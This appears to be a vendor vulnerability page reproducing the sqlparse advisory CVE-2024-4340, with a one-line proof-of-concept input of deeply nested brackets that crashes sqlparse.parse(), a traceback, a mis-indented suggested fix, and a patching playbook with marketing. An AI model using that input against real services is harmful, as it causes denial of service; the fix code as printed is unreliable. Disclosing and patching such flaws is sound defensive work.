Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍 PyPI

GHSA-2m57-hf25-phgg

HIGH

sqlparse parsing heavily nested list leads to Denial of Service

Also known asCVE-2024-4340
Published
Apr 15, 2024
Updated
Feb 4, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
3.2%probability of exploitation in next 30 days
Lower Risk87th percentile-7.67%
0.00%7.06%14.1%21.2%15.2%3.2%Dec 25Apr 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐍sqlparse

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Passing a heavily nested list to sqlparse.parse() leads to a Denial of Service due to RecursionError.

Details + PoC

Running the following code will raise Maximum recursion limit exceeded exception:

import sqlparse
sqlparse.parse('[' * 10000 + ']' * 10000)

We expect a traceback of RecursionError:

Traceback (most recent call last):
  File "trigger_sqlparse_nested_list.py", line 3, in <module>
    sqlparse.parse('[' * 10000 + ']' * 10000)
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/__init__.py", line 30, in parse
    return tuple(parsestream(sql, encoding))
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/filter_stack.py", line 36, in run
    stmt = grouping.group(stmt)
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py", line 428, in group
    func(stmt)
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py", line 53, in group_brackets
    _group_matching(tlist, sql.SquareBrackets)
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py", line 48, in _group_matching
    tlist.group_tokens(cls, open_idx, close_idx)
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 328, in group_tokens
    grp = grp_cls(subtokens)
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 161, in __init__
    super().__init__(None, str(self))
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 165, in __str__
    return ''.join(token.value for token in self.flatten())
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 165, in <genexpr>
    return ''.join(token.value for token in self.flatten())
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 214, in flatten
    yield from token.flatten()
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 214, in flatten
    yield from token.flatten()
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 214, in flatten
    yield from token.flatten()
  [Previous line repeated 983 more times]
RecursionError: maximum recursion depth exceeded

Fix suggestion

The flatten() function of TokenList class should limit the recursion to a maximal depth:

from sqlparse.exceptions import SQLParseError

MAX_DEPTH = 100

    def flatten(self, depth=1):
        """Generator yielding ungrouped tokens.

        This method is recursively called for all child tokens.
        """
    if depth >= MAX_DEPTH:
        raise SQLParseError('Maximal depth reached')
        for token in self.tokens:
            if token.is_group:
                yield from token.flatten(depth + 1)
            else:
                yield token

Impact

Denial of Service (the impact depends on the use). Anyone parsing a user input with sqlparse.parse() is affected.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIsqlparseall versions0.5.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for sqlparse. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update sqlparse to 0.5.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-2m57-hf25-phgg is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-2m57-hf25-phgg is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-2m57-hf25-phgg. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary Passing a heavily nested list to sqlparse.parse() leads to a Denial of Service due to RecursionError. ### Details + PoC Running the following code will raise Maximum recursion limit exceeded exception: ```py import sqlparse sqlparse.parse('[' * 10000 + ']' * 10000) ``` We expect a traceback of RecursionError: ```py Traceback (most recent call last): File "trigger_sqlparse_nested_list.py", line 3, in <module> sqlparse.parse('[' * 10000 + ']' * 10000) File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/__init__.py", line 30, in parse return tuple(parsestream(s
O3 Security · Impact-Aware SCA

Is GHSA-2m57-hf25-phgg in your dependencies?

O3 detects GHSA-2m57-hf25-phgg across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.